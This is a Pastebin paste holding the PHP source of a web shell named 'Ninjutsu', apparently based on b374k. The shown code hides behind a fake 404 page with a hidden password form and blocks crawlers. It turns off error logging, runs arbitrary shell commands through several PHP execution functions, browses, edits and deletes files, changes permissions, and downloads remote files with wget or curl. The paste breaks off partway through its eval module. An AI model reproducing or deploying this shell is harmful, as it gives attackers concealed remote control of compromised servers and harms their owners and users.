shinobininja

Ninjutsu v1.0

Jun 30th, 2016
135
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 190.99 KB | None | 0 0
  1. <?php
  2. $GLOBALS['pass'] = "11f86f450c35f1ce04d7fb04dcace95ca2f087eb";
  3. $GLOBALS['module_to_load'] = array("explorer", "terminal", "eval", "convert", "database", "info", "mail", "network", "processes", "proxy");$GLOBALS['resources']['b374k'] = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABkAAAAYCAYAAAAPtVbGAAAAAXNSR0ICQMB9xQAAAAlwSFlzAAAXEgAAFxIBZ5/SUgAAABl0RVh0U29mdHdhcmUATWljcm9zb2Z0IE9mZmljZX/tNXEAAAQOSURBVEjHtZZrTFtlGMeniV+9fTEmJhOWGDs1WaKLy0xMjC4keMG4ON3CZQJuEnA6Z4IZY1DHRjtZy8pNFqYI5bZugxYYK6u29EZLCy30RltoS1c6KKXACpzWA/v7NnEmBpxcP/xzznvO+z6/N//ned5zdjCZzB3brX9uALxC9DnRzo0EIuueIHoxDMSRazzRMysgm1V0efm8n4ouih3uxYHgLBWkonYC2rWlEHtotlXsGUePzQm5+y50c4twTQbbthRy2zYibOgfwr3QLAL3w2i0jkDj8mJLIMSSZ31ed36XsD7ycw0bZR0duO68i8IuGTTDzs1DCCDO47Iq7rReQS3nG3BOJ6OAx8G3tc1/svgCl9fnO7IpCE1T6Ra9zHWrhYtq1le4lJ8BsagBFovlVFFF9V4qHI5bV3WRHb9wR6/f32ezM2UmW8FNlVbc0qtDk7ABJflHwWVmQSXtDNA0nf3IPnkEYKfK4R5ni3uW+IM2CM0OXPlDgdQSHpKK2CjmsTDQJ+8n8xj/24z/pZGJ4OVSuR4XNSY02cdw02RHvcaApILzSMzNe9BjMKljTbimjl+1wWg6t67XQJ+VqPGbzYUqjRGHa2/gaKMI6bwqHCvhLrn9gbQ1Hyur2PRuv8eHHyW9qDYOo0JrREp9Gz6uuYYD7DJ8ePYcsi6XwzAywt4wZDw0J6zRWVBltK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ALS['ver'] = "1.0";
  7. $GLOBALS['title'] = "Ninjutsu Ver";
  8.  
  9. @ob_start();
  10. error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
  11. @ini_set('html_errors','0');
  12. @ini_set('display_errors','1');
  13. @ini_set('display_startup_errors','1');
  14. @ini_set('log_errors','0');
  15. @set_time_limit(0);
  16. @clearstatcache();
  17.  
  18. if(!function_exists('auth')){
  19. function auth(){
  20. if(isset($GLOBALS['pass']) && (trim($GLOBALS['pass'])!='')){
  21. $c = $_COOKIE;
  22. $p = $_POST;
  23. if(isset($p['pass'])){
  24. $your_pass = sha1(md5($p['pass']));
  25. if($your_pass==$GLOBALS['pass']){
  26. setcookie("pass", $your_pass, time()+36000, "/");
  27. header("Location: ".get_self());
  28. }
  29. }
  30.  
  31. if(!isset($c['pass']) || ((isset($c['pass'])&&($c['pass']!=$GLOBALS['pass'])))){
  32. $res = "<!doctype html>
  33. <html>
  34. <head>
  35. <meta charset='utf-8'>
  36. <meta name='robots' content='noindex, nofollow, noarchive'>
  37. <meta name='viewport' content='width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, user-scalable=0'>
  38. </head>
  39. <title>Object not found!</title>
  40. <link rev='made' href='mailto:postmaster@localhost' />
  41. <style type='text/css'><!--/*--><![CDATA[/*><!--*/
  42. body { color: #000000; background-color: #FFFFFF; }
  43. a:link { color: #0000CC; }
  44. p, address {margin-left: 3em;}
  45. span {font-size: smaller;}
  46. /*]]>*/--></style>
  47. </head>
  48.  
  49. <body>
  50. <h1>Object not found!</h1>
  51. <p>
  52.  
  53.  
  54. The requested URL was not found on this server.
  55.  
  56.  
  57.  
  58. If you entered the URL manually please check your
  59. spelling and try again.
  60.  
  61.  
  62.  
  63. </p>
  64. <p>
  65. If you think this is a server error, please contact
  66. the <a href='mailto:postmaster@" . $_SERVER['HTTP_HOST'] . "'>webmaster</a>.
  67.  
  68. </p>
  69.  
  70. <h2>Error 404</h2>
  71. <address>
  72. <a href='/'>" . $_SERVER['HTTP_HOST'] . "</a><br />
  73. <span>" . getenv('SERVER_SOFTWARE') . "</span>
  74. </address>
  75. </body>
  76. </html>
  77.  
  78.  
  79. <form method='post'><center><input type='password' id='pass' name='pass' border='0' style='border:none;float:center'></center></form>
  80. </body></html>
  81. ";
  82. echo $res;
  83. die();
  84. }
  85. }
  86. }
  87. }
  88.  
  89. if(!function_exists('get_server_info')){
  90. function get_server_info(){
  91. $server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:$_SERVER["HTTP_HOST"];
  92. $server_info['ip_adrress'] = "Server IP : ".$server_addr." <span class='strong'>|</span> Your IP : ".$_SERVER['REMOTE_ADDR'];
  93. $server_info['time_at_server'] = "Time <span class='strong'>@</span> Server : ".@date("d M Y H:i:s",time());
  94. $server_info['uname'] = php_uname();
  95. $server_software = (getenv('SERVER_SOFTWARE')!='')? getenv('SERVER_SOFTWARE')." <span class='strong'>|</span> ":'';
  96. $server_info['software'] = $server_software." PHP ".phpversion();
  97. return $server_info;
  98. }
  99. }
  100.  
  101. if(!function_exists('get_self')){
  102. function get_self(){
  103. $query = (isset($_SERVER["QUERY_STRING"])&&(!empty($_SERVER["QUERY_STRING"])))?"?".$_SERVER["QUERY_STRING"]:"";
  104. return html_safe($_SERVER["REQUEST_URI"].$query);
  105. }
  106. }
  107.  
  108. if(!function_exists('get_post')){
  109. function get_post(){
  110. return fix_magic_quote($_POST);
  111. }
  112. }
  113.  
  114. if(!function_exists('get_nav')){
  115. function get_nav($path){
  116. return parse_dir($path);
  117. }
  118. }
  119.  
  120. if(!function_exists('get_cwd')){
  121. function get_cwd(){
  122. $cwd = getcwd().DIRECTORY_SEPARATOR;
  123. if(!isset($_COOKIE['cwd'])){
  124. setcookie("cwd", $cwd);
  125. }
  126. else{
  127. $cwd_c = rawurldecode($_COOKIE['cwd']);
  128. if(is_dir($cwd_c)) $cwd = realpath($cwd_c).DIRECTORY_SEPARATOR;
  129. else setcookie("cwd", $cwd);
  130. }
  131. return $cwd;
  132. }
  133. }
  134.  
  135. if(!function_exists('wrap_with_quotes')){
  136. function wrap_with_quotes($str){
  137. return "\"".$str."\"";
  138. }
  139. }
  140.  
  141. if(!function_exists('get_resource')){
  142. function get_resource($type){
  143. if(isset($GLOBALS['resources'][$type])){
  144. return gzinflate(base64_decode($GLOBALS['resources'][$type]));
  145. }
  146. return false;
  147. }
  148. }
  149.  
  150. if(!function_exists('block_bot')){
  151. function block_bot(){
  152. // block search engine bot
  153. if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){
  154. header("HTTP/1.0 404 Not Found");
  155. header("Status: 404 Not Found");
  156. die();
  157. }
  158. elseif(!isset($_SERVER['HTTP_USER_AGENT'])){
  159. header("HTTP/1.0 404 Not Found");
  160. header("Status: 404 Not Found");
  161. die();
  162. }
  163. }
  164. }
  165.  
  166. if(!function_exists('is_win')){
  167. function is_win(){
  168. return (strtolower(substr(php_uname(),0,3)) == "win")? true : false;
  169. }
  170. }
  171.  
  172. if(!function_exists('fix_magic_quote')){
  173. function fix_magic_quote($arr){
  174. $quotes_sybase = strtolower(ini_get('magic_quotes_sybase'));
  175. if(function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()){
  176. if(is_array($arr)){
  177. foreach($arr as $k=>$v){
  178. if(is_array($v)) $arr[$k] = clean($v);
  179. else $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === 'off')? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v));
  180. }
  181. }
  182. }
  183. return $arr;
  184. }
  185. }
  186.  
  187. if(!function_exists('execute')){
  188. function execute($code){
  189. $output = "";
  190. $code = $code." 2>&1";
  191.  
  192. if(is_callable('system') && function_exists('system')){
  193. ob_start();
  194. @system($code);
  195. $output = ob_get_contents();
  196. ob_end_clean();
  197. if(!empty($output)) return $output;
  198. }
  199. elseif(is_callable('shell_exec') && function_exists('shell_exec')){
  200. $output = @shell_exec($code);
  201. if(!empty($output)) return $output;
  202. }
  203. elseif(is_callable('exec') && function_exists('exec')){
  204. @exec($code,$res);
  205. if(!empty($res)) foreach($res as $line) $output .= $line;
  206. if(!empty($output)) return $output;
  207. }
  208. elseif(is_callable('passthru') && function_exists('passthru')){
  209. ob_start();
  210. @passthru($code);
  211. $output = ob_get_contents();
  212. ob_end_clean();
  213. if(!empty($output)) return $output;
  214. }
  215. elseif(is_callable('proc_open') && function_exists('proc_open')){
  216. $desc = array(
  217. 0 => array("pipe", "r"),
  218. 1 => array("pipe", "w"),
  219. 2 => array("pipe", "w"));
  220. $proc = @proc_open($code, $desc, $pipes, getcwd(), array());
  221. if(is_resource($proc)){
  222. while($res = fgets($pipes[1])){
  223. if(!empty($res)) $output .= $res;
  224. }
  225. while($res = fgets($pipes[2])){
  226. if(!empty($res)) $output .= $res;
  227. }
  228. }
  229. @proc_close($proc);
  230. if(!empty($output)) return $output;
  231. }
  232. elseif(is_callable('popen') && function_exists('popen')){
  233. $res = @popen($code, 'r');
  234. if($res){
  235. while(!feof($res)){
  236. $output .= fread($res, 2096);
  237. }
  238. pclose($res);
  239. }
  240. if(!empty($output)) return $output;
  241. }
  242. return "";
  243. }
  244. }
  245.  
  246. if(!function_exists('html_safe')){
  247. function html_safe($str){
  248. return htmlspecialchars($str, 2 | 1);
  249. }
  250. }
  251.  
  252. if(!function_exists('parse_dir')){
  253. function parse_dir($path){
  254. $path = realpath($path).DIRECTORY_SEPARATOR;
  255. $paths = explode(DIRECTORY_SEPARATOR, $path);
  256. $res = "";
  257. for($i = 0; $i < sizeof($paths)-1; $i++){
  258. $x = "";
  259. for($j = 0; $j <= $i; $j++) $x .= $paths[$j].DIRECTORY_SEPARATOR;
  260. $res .= "<a class='navbar' data-path='".html_safe($x)."'>".html_safe($paths[$i])." ".DIRECTORY_SEPARATOR." </a>";
  261. }
  262. if(is_win()) $res = get_drives().$res;
  263. return trim($res);
  264. }
  265. }
  266.  
  267. if(!function_exists('zip')){
  268. function zip($files, $archive){
  269. $status = false;
  270. if(!extension_loaded('zip')) return $status;
  271. if(class_exists("ZipArchive")){
  272. $zip = new ZipArchive();
  273. if(!$zip->open($archive, 1)) return $status;
  274.  
  275. if(!is_array($files)) $files = array($files);
  276. foreach($files as $file){
  277. $file = str_replace(get_cwd(), '', $file);
  278. $file = str_replace('\\', '/', $file);
  279. if(is_dir($file)){
  280. $filesIterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($file), 1);
  281. foreach($filesIterator as $iterator){
  282. $iterator = str_replace('\\', '/', $iterator);
  283. if(in_array(substr($iterator, strrpos($iterator, '/')+1), array('.', '..'))) continue;
  284.  
  285. if(is_dir($iterator)) $zip->addEmptyDir(str_replace($file.'/', '', $iterator.'/'));
  286. else if(is_file($iterator)) $zip->addFromString(str_replace($file.'/', '', $iterator), read_file($iterator));
  287. }
  288. }
  289. elseif(is_file($file)) $zip->addFromString(basename($file), read_file($file));
  290. }
  291. if($zip->getStatusString()!==false) $status = true;
  292. $zip->close();
  293. }
  294. return $status;
  295. }
  296. }
  297.  
  298. if(!function_exists('compress')){
  299. function compress($type, $archive, $files){
  300. if(!is_array($files)) $files = array($files);
  301. if($type=='zip'){
  302. if(zip($files, $archive)) return true;
  303. else return false;
  304. }
  305. elseif(($type=='tar')||($type=='targz')){
  306. $archive = basename($archive);
  307.  
  308. $listsBasename = array_map("basename", $files);
  309. $lists = array_map("wrap_with_quotes", $listsBasename);
  310.  
  311. if($type=='tar') execute("tar cf \"".$archive."\" ".implode(" ", $lists));
  312. elseif($type=='targz') execute("tar czf \"".$archive."\" ".implode(" ", $lists));
  313.  
  314. if(is_file($archive)) return true;
  315. else return false;
  316. }
  317. return false;
  318. }
  319. }
  320.  
  321. if(!function_exists('decompress')){
  322. function decompress($type, $archive, $path){
  323. $path = realpath($path).DIRECTORY_SEPARATOR;
  324. $status = false;
  325. if(is_dir($path)){
  326. chdir($path);
  327. if($type=='unzip'){
  328. if(class_exists('ZipArchive')){
  329. $zip = new ZipArchive();
  330. $target = $path.basename($archive,".zip");
  331. if($zip->open($archive)){
  332. if(!is_dir($target)) mkdir($target);
  333. if($zip->extractTo($target)) $status = true;
  334. $zip->close();
  335. }
  336. }
  337. }
  338. elseif($type=='untar'){
  339. $target = basename($archive,".tar");
  340. if(!is_dir($target)) mkdir($target);
  341. $before = count(get_all_files($target));
  342. execute("tar xf \"".basename($archive)."\" -C \"".$target."\"");
  343. $after = count(get_all_files($target));
  344. if($before!=$after) $status = true;
  345.  
  346. }
  347. elseif($type=='untargz'){
  348. $target = "";
  349. if(strpos(strtolower($archive), ".tar.gz")!==false) $target = basename($archive,".tar.gz");
  350. elseif(strpos(strtolower($archive), ".tgz")!==false) $target = basename($archive,".tgz");
  351.  
  352. if(!is_dir($target)) mkdir($target);
  353. $before = count(get_all_files($target));
  354. execute("tar xzf \"".basename($archive)."\" -C \"".$target."\"");
  355. $after = count(get_all_files($target));
  356. if($before!=$after) $status = true;
  357. }
  358. }
  359. return $status;
  360. }
  361. }
  362.  
  363. if(!function_exists('download')){
  364. function download($url ,$saveas){
  365. if(!preg_match("/[a-z]+:\/\/.+/",$url)) return false;
  366. $filename = basename($url);
  367.  
  368. if($content = read_file($url)){
  369. if(is_file($saveas)) unlink($saveas);
  370. if(write_file($saveas, $content)){
  371. return true;
  372. }
  373. }
  374.  
  375. $buff = execute("wget ".$url." -O ".$saveas);
  376. if(is_file($saveas)) return true;
  377.  
  378. $buff = execute("curl ".$url." -o ".$saveas);
  379. if(is_file($saveas)) return true;
  380.  
  381. $buff = execute("lwp-download ".$url." ".$saveas);
  382. if(is_file($saveas)) return true;
  383.  
  384. $buff = execute("lynx -source ".$url." > ".$saveas);
  385. if(is_file($saveas)) return true;
  386.  
  387. return false;
  388. }
  389. }
  390.  
  391. if(!function_exists('get_fileperms')){
  392. function get_fileperms($file){
  393. if($perms = @fileperms($file)){
  394. $flag = 'u';
  395. if(($perms & 0xC000) == 0xC000)$flag = 's';
  396. elseif(($perms & 0xA000) == 0xA000)$flag = 'l';
  397. elseif(($perms & 0x8000) == 0x8000)$flag = '-';
  398. elseif(($perms & 0x6000) == 0x6000)$flag = 'b';
  399. elseif(($perms & 0x4000) == 0x4000)$flag = 'd';
  400. elseif(($perms & 0x2000) == 0x2000)$flag = 'c';
  401. elseif(($perms & 0x1000) == 0x1000)$flag = 'p';
  402. $flag .= ($perms & 00400)? 'r':'-';
  403. $flag .= ($perms & 00200)? 'w':'-';
  404. $flag .= ($perms & 00100)? 'x':'-';
  405. $flag .= ($perms & 00040)? 'r':'-';
  406. $flag .= ($perms & 00020)? 'w':'-';
  407. $flag .= ($perms & 00010)? 'x':'-';
  408. $flag .= ($perms & 00004)? 'r':'-';
  409. $flag .= ($perms & 00002)? 'w':'-';
  410. $flag .= ($perms & 00001)? 'x':'-';
  411. return $flag;
  412. }
  413. else return "???????????";
  414. }
  415. }
  416.  
  417. if(!function_exists('format_bit')){
  418. function format_bit($size){
  419. $base = log($size) / log(1024);
  420. $suffixes = array('B','KB','MB','GB','TB','PB','EB','ZB','YB');
  421. return round(pow(1024, $base - floor($base)),2)." ".$suffixes[floor($base)];
  422. }
  423. }
  424.  
  425. if(!function_exists('get_filesize')){
  426. function get_filesize($file){
  427. $size = @filesize($file);
  428. if($size!==false){
  429. if($size<=0) return 0;
  430. return format_bit($size);
  431. }
  432. else return "???";
  433. }
  434. }
  435.  
  436. if(!function_exists('get_filemtime')){
  437. function get_filemtime($file){
  438. return @date("d-M-Y H:i:s", filemtime($file));
  439. }
  440. }
  441.  
  442. if(!function_exists('get_fileowner')){
  443. function get_fileowner($file){
  444. $owner = "?:?";
  445. if(function_exists("posix_getpwuid")){
  446. $name = posix_getpwuid(fileowner($file));
  447. $group = posix_getgrgid(filegroup($file));
  448. $owner = $name['name'].":".$group['name'];
  449. }
  450. return $owner;
  451. }
  452. }
  453.  
  454. if(!function_exists('rmdirs')){
  455. function rmdirs($dir, $counter = 0){
  456. if(is_dir($dir)) $dir = realpath($dir).DIRECTORY_SEPARATOR;
  457. if($dh = opendir($dir)){
  458. while(($f = readdir($dh))!==false){
  459. if(($f!='.')&&($f!='..')){
  460. $f = $dir.$f;
  461. if(@is_dir($f)) $counter += rmdirs($f);
  462. else{
  463. if(unlink($f)) $counter++;
  464. }
  465. }
  466. }
  467. closedir($dh);
  468. if(rmdir($dir)) $counter++;;
  469. }
  470. return $counter;
  471. }
  472. }
  473.  
  474. if(!function_exists('copys')){
  475. function copys($source , $target ,$c=0){
  476. $source = realpath($source).DIRECTORY_SEPARATOR;
  477. if($dh = opendir($source)){
  478. if(!is_dir($target)) mkdir($target);
  479. $target = realpath($target).DIRECTORY_SEPARATOR;
  480.  
  481. while(($f = readdir($dh))!==false){
  482. if(($f!='.')&&($f!='..')){
  483. if(is_dir($source.$f)){
  484. copys($source.$f, $target.$f, $c);
  485. }
  486. else{
  487. if(copy($source.$f, $target.$f)) $c++;
  488. }
  489. }
  490. }
  491. closedir($dh);
  492. }
  493. return $c;
  494. }
  495. }
  496.  
  497. if(!function_exists('get_all_files')){
  498. function get_all_files($path){
  499. $path = realpath($path).DIRECTORY_SEPARATOR;
  500. $files = glob($path.'*');
  501. for($i = 0; $i<count($files); $i++){
  502. if(is_dir($files[$i])){
  503. $subdir = glob($files[$i].DIRECTORY_SEPARATOR.'*');
  504. if(is_array($files) && is_array($subdir)) $files = array_merge($files, $subdir);
  505. }
  506. }
  507. return $files;
  508. }
  509. }
  510.  
  511. if(!function_exists('read_file')){
  512. function read_file($file){
  513. $content = false;
  514. if($fh = @fopen($file, "rb")){
  515. $content = "";
  516. while(!feof($fh)){
  517. $content .= fread($fh, 8192);
  518. }
  519. }
  520. return $content;
  521. }
  522. }
  523.  
  524. if(!function_exists('write_file')){
  525. function write_file($file, $content){
  526. if($fh = @fopen($file, "wb")){
  527. if(fwrite($fh, $content)!==false) return true;
  528. }
  529. return false;
  530. }
  531. }
  532.  
  533. if(!function_exists('view_file')){
  534. function view_file($file, $type, $preserveTimestamp='true'){
  535. $output = "";
  536. if(is_file($file)){
  537. $dir = dirname($file);
  538.  
  539. $owner = "";
  540. if(!is_win()){
  541. $owner = "<tr><td>Owner</td><td>".get_fileowner($file)."</td></tr>";
  542. }
  543.  
  544. $image_info = @getimagesize($file);
  545. $mime_list = get_resource('mime');
  546. $mime = "";
  547. $file_ext_pos = strrpos($file, ".");
  548. if($file_ext_pos!==false){
  549. $file_ext = trim(substr($file, $file_ext_pos),".");
  550. if(preg_match("/([^\s]+)\ .*\b".$file_ext."\b.*/i", $mime_list, $res)){
  551. $mime = $res[1];
  552. }
  553. }
  554. if($type=="auto"){
  555. if(is_array($image_info)) $type = 'image';
  556. //elseif(strtolower(substr($file,-3,3)) == "php") $type = "code";
  557. elseif(!empty($mime)) $type = "multimedia";
  558. else $type = "raw";
  559. }
  560.  
  561. $content = "";
  562. if($type=="code"){
  563. $hl_arr = array(
  564. "hl_default"=> ini_get('highlight.default'),
  565. "hl_keyword"=> ini_get('highlight.keyword'),
  566. "hl_string"=> ini_get('highlight.string'),
  567. "hl_html"=> ini_get('highlight.html'),
  568. "hl_comment"=> ini_get('highlight.comment')
  569. );
  570.  
  571.  
  572. $content = highlight_string(read_file($file),true);
  573. foreach($hl_arr as $k=>$v){
  574. $content = str_replace("<font color=\"".$v."\">", "<font class='".$k."'>", $content);
  575. $content = str_replace("<span style=\"color: ".$v."\">", "<span class='".$k."'>", $content);
  576. }
  577. }
  578. elseif($type=="image"){
  579. $width = (int) $image_info[0];
  580. $height = (int) $image_info[1];
  581. $image_info_h = "Image type = <span class='strong'>(</span> ".$image_info['mime']." <span class='strong'>)</span><br>
  582. Image Size = <span class='strong'>( </span>".$width." x ".$height."<span class='strong'> )</span><br>";
  583. if($width > 800){
  584. $width = 800;
  585. $imglink = "<p><a id='viewFullsize'>
  586. <span class='strong'>[ </span>View Full Size<span class='strong'> ]</span></a></p>";
  587. }
  588. else $imglink = "";
  589.  
  590. $content = "<center>".$image_info_h."<br>".$imglink."
  591. <img id='viewImage' style='width:".$width."px;' src='data:".$image_info['mime'].";base64,".base64_encode(read_file($file))."' alt='".$file."'></center>
  592. ";
  593.  
  594. }
  595. elseif($type=="multimedia"){
  596. $content = "<center>
  597. <video controls>
  598. <source src='' type='".$mime."'>
  599.  
  600. </video>
  601. <p><span class='button' onclick=\"multimedia('".html_safe(addslashes($file))."');\">Load Multimedia File</span></p>
  602. </center>";
  603. }
  604. elseif($type=="edit"){
  605. $preservecbox = ($preserveTimestamp=='true')? " cBoxSelected":"";
  606. $content = "<table id='editTbl'><tr><td colspan='2'><input type='text' id='editFilename' class='colSpan' value='".html_safe($file)."' onkeydown=\"trap_enter(event, 'edit_save_raw');\"></td></tr><tr><td class='colFit'><span class='button' onclick=\"edit_save_raw();\">save</span></td><td style='vertical-align:middle;'><div class='cBox".$preservecbox."'></div><span>preserve modification timestamp</span><span id='editResult'></span></td></tr><tr><td colspan='2'><textarea id='editInput' spellcheck='false' onkeydown=\"trap_ctrl_enter(this, event, 'edit_save_raw');\">".html_safe(read_file($file))."</textarea></td></tr></table>";
  607. }
  608. elseif($type=="hex"){
  609. $preservecbox = ($preserveTimestamp=='true')? " cBoxSelected":"";
  610. $content = "<table id='editTbl'><tr><td colspan='2'><input type='text' id='editFilename' class='colSpan' value='".html_safe($file)."' onkeydown=\"trap_enter(event, 'edit_save_hex');\"></td></tr><tr><td class='colFit'><span class='button' onclick=\"edit_save_hex();\">save</span></td><td style='vertical-align:middle;'><div class='cBox".$preservecbox."'></div><span>preserve modification timestamp</span><span id='editHexResult'></span></td></tr><tr><td colspan='2'><textarea id='editInput' spellcheck='false' onkeydown=\"trap_ctrl_enter(this, event, 'edit_save_hex');\">".bin2hex(read_file($file))."</textarea></td></tr></table>";
  611. }
  612. else $content = "<pre>".html_safe(read_file($file))."</pre>";
  613.  
  614.  
  615.  
  616. $output .= "
  617. <table id='viewFile' class='boxtbl'>
  618. <tr><td style='width:120px;'>Filename</td><td>".html_safe($file)."</td></tr>
  619. <tr><td>Size</td><td>".get_filesize($file)." (".filesize($file).")</td></tr>
  620. ".$owner."
  621. <tr><td>Permission</td><td>".get_fileperms($file)."</td></tr>
  622. <tr><td>Create time</td><td>".@date("d-M-Y H:i:s",filectime($file))."</td></tr>
  623. <tr><td>Last modified</td><td>".@date("d-M-Y H:i:s",filemtime($file))."</td></tr>
  624. <tr><td>Last accessed</td><td>".@date("d-M-Y H:i:s",fileatime($file))."</td></tr>
  625. <tr data-path='".html_safe($file)."'><td colspan='2'>
  626. <span class='navigate button' style='width:120px;'>explorer</span>
  627. <span class='action button' style='width:120px;'>action</span>
  628. <span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'raw');hide_box();\">raw</span>
  629. <span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'code');hide_box();\">code</span>
  630. <span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'hex');hide_box();\">hex</span>
  631. <span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'image');hide_box();\">image</span>
  632. <span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'multimedia');hide_box();\">multimedia</span>
  633. </td></tr>
  634. <tr><td colspan='2'><div id='viewFilecontent'>".$content."</div></td></tr>
  635. </table>";
  636.  
  637.  
  638. }
  639. else $output = "error";
  640. return $output;
  641. }
  642. }
  643.  
  644. if(!function_exists('get_writabledir')){
  645. function get_writabledir(){
  646. if(is_writable(".")) return realpath(".").DIRECTORY_SEPARATOR;
  647. else{
  648. foreach(array('TMP', 'TEMP', 'TMPDIR') as $k){
  649. if(!empty($_ENV[$k])){
  650. if(is_writable($_ENV[$k])) return realpath($_ENV[$k]).DIRECTORY_SEPARATOR;
  651. }
  652. }
  653. if(function_exists("sys_get_temp_dir")){
  654. $dir = sys_get_temp_dir();
  655. if(is_writable($dir)) return realpath($dir).DIRECTORY_SEPARATOR;
  656. }
  657. else{
  658. if(!is_win()){ if(is_writable("/tmp")) return "/tmp/"; }
  659. }
  660.  
  661. $tempfile = tempnam(__FILE__,'');
  662. if(file_exists($tempfile)){
  663. $dir = realpath(dirname($tempfile)).DIRECTORY_SEPARATOR;
  664. unlink($tempfile);
  665. return $dir;
  666. }
  667. }
  668. return false;
  669. }
  670. }
  671.  
  672. if(!function_exists('get_drives')){
  673. function get_drives(){
  674. $drives = "";
  675. $v = explode("\\", get_cwd());
  676. $v = $v[0];
  677. foreach (range("A", "Z") as $letter){
  678. if(@is_readable($letter.":\\")){
  679. $drives .= "<a class='navbar' data-path='".$letter.":\\'>[ ";
  680. if($letter.":" != $v) $drives .= $letter;
  681. else{$drives .= "<span class='drive-letter'>".$letter."</span>";}
  682. $drives .= " ]</a> ";
  683. }
  684. }
  685. return $drives;
  686. }
  687. }
  688.  
  689. if(!function_exists('show_all_files')){
  690. function show_all_files($path){
  691. if(!is_dir($path)) return "No such directory : ".$path;
  692. chdir($path);
  693. $output = "";
  694. $allfiles = $allfolders = array();
  695. if($res = opendir($path)){
  696. while($file = readdir($res)){
  697. if(($file!='.')&&($file!="..")){
  698. if(is_dir($file)) $allfolders[] = $file;
  699. elseif(is_file($file))$allfiles[] = $file;
  700. }
  701. }
  702. }
  703.  
  704. array_unshift($allfolders, ".");
  705. $cur = getcwd();
  706. chdir("..");
  707. if(getcwd()!=$cur) array_unshift($allfolders, "..");
  708. chdir($cur);
  709.  
  710. natcasesort($allfolders);
  711. natcasesort($allfiles);
  712.  
  713. $cols = array();
  714. if(is_win()){
  715. $cols = array(
  716. "perms"=>"get_fileperms",
  717. "modified"=>"get_filemtime"
  718. );
  719. }
  720. else{
  721. $cols = array(
  722. "owner"=>"get_fileowner",
  723. "perms"=>"get_fileperms",
  724. "modified"=>"get_filemtime"
  725. );
  726. }
  727.  
  728. $totalFiles = count($allfiles);
  729. $totalFolders = 0;
  730.  
  731. $output .= "<table id='xplTable' class='dataView sortable'><thead>";
  732. $output .= "<tr><th class='col-cbox sorttable_nosort'><div class='cBoxAll'></div></th><th class='col-name'>name</th><th class='col-size'>size</th>";
  733.  
  734. foreach($cols as $k=>$v){
  735. $output .= "<th class='col-".$k."'>".$k."</th>";
  736. }
  737. $output .= "</tr></thead><tbody>";
  738.  
  739. foreach($allfolders as $d){
  740. $cboxException = "";
  741. if(($d==".")||($d=="..")){
  742. $action = "actiondot";
  743. $cboxException = " cBoxException";
  744. }
  745. else{
  746. $action = "actionfolder";
  747. $totalFolders++;
  748. }
  749. $output .= "
  750. <tr data-path=\"".html_safe(realpath($d).DIRECTORY_SEPARATOR)."\"><td><div class='cBox".$cboxException."'></div></td>
  751. <td style='white-space:normal;'><a class='navigate'>[ ".html_safe($d)." ]</a><span class='".$action." floatRight'>action</span></td>
  752. <td>DIR</td>";
  753. foreach($cols as $k=>$v){
  754. $sortable = "";
  755. if($k=='modified') $sortable = " title='".filemtime($d)."'";
  756. $output .= "<td".$sortable.">".$v($d)."</td>";
  757. }
  758. $output .= "</tr>";
  759. }
  760. foreach($allfiles as $f){
  761. $output .= "
  762. <tr data-path=\"".html_safe(realpath($f))."\"><td><div class='cBox'></div></td>
  763. <td style='white-space:normal;'><a class='view'>".html_safe($f)."</a><span class='action floatRight'>action</span></td>
  764. <td title='".filesize($f)."'>".get_filesize($f)."</td>";
  765. foreach($cols as $k=>$v){
  766. $sortable = "";
  767. if($k=='modified') $sortable = " title='".filemtime($f)."'";
  768. $output .= "<td".$sortable.">".$v($f)."</td>";
  769. }
  770. $output .= "</tr>";
  771. }
  772. $output .= "</tbody><tfoot>";
  773.  
  774. $colspan = 1 + count($cols);
  775. $output .= "<tr><td><div class='cBoxAll'></div></td><td>
  776. <select id='massAction' class='colSpan'>
  777. <option disabled selected>Action</option>
  778. <option>cut</option>
  779. <option>copy</option>
  780. <option>paste</option>
  781. <option>delete</option>
  782. <option disabled>------------</option>
  783. <option>chmod</option>
  784. <option>chown</option>
  785. <option>touch</option>
  786. <option disabled>------------</option>
  787. <option>extract (tar)</option>
  788. <option>extract (tar.gz)</option>
  789. <option>extract (zip)</option>
  790. <option disabled>------------</option>
  791. <option>compress (tar)</option>
  792. <option>compress (tar.gz)</option>
  793. <option>compress (zip)</option>
  794. <option disabled>------------</option>
  795. </select>
  796. </td><td colspan='".$colspan."'></td></tr>
  797. <tr><td></td><td colspan='".++$colspan."'>".$totalFiles." file(s), ".$totalFolders." Folder(s)<span class='xplSelected'></span></td></tr>
  798. ";
  799. $output .= "</tfoot></table>";
  800. return $output;
  801. }
  802. }
  803.  
  804. if(!function_exists('eval_get_supported')){
  805. function eval_get_supported(){
  806. $eval_supported = array();
  807.  
  808. $eval_supported[] = "php";
  809.  
  810. $check = strtolower(execute("python -h"));
  811. if(strpos($check,"usage")!==false) $eval_supported[] = "python";
  812.  
  813. $check = strtolower(execute("perl -h"));
  814. if(strpos($check,"usage")!==false) $eval_supported[] = "perl";
  815.  
  816. $check = strtolower(execute("ruby -h"));
  817. if(strpos($check,"usage")!==false) $eval_supported[] = "ruby";
  818.  
  819. $check = strtolower(execute("node -h"));
  820. if(strpos($check,"usage")!==false) $eval_supported[] = "node";
  821. else{
  822. $check = strtolower(execute("nodejs -h"));
  823. if(strpos($check,"usage")!==false) $eval_supported[] = "nodejs";
  824. }
  825.  
  826. $check = strtolower(execute("gcc --help"));
  827. if(strpos($check,"usage")!==false) $eval_supported[] = "gcc";
  828.  
